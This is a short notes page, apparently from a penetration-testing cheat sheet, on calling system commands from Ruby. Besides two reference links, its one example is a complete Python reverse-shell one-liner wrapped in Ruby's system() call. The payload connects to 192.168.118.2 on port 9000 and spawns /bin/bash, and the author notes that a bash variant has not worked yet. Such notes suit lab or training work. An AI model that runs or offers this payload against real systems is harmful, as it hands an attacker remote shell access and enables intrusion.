System

R3zk0n ยท October 2, 2025

Contents

    How to run system commands in Ruby

    • https://www.rubyguides.com/2018/12/ruby-system/
    • https://ruby-doc.org/docs/ruby-doc-bundle/Manual/man-1.4/function.html#system

    image

    Example

    • This allows using a python reverse shell payload in Ruby
      system('python', '-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.118.2",9000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")')
      
    • Have tried with bash reverse shell but have yet to succeed

    Twitter, Facebook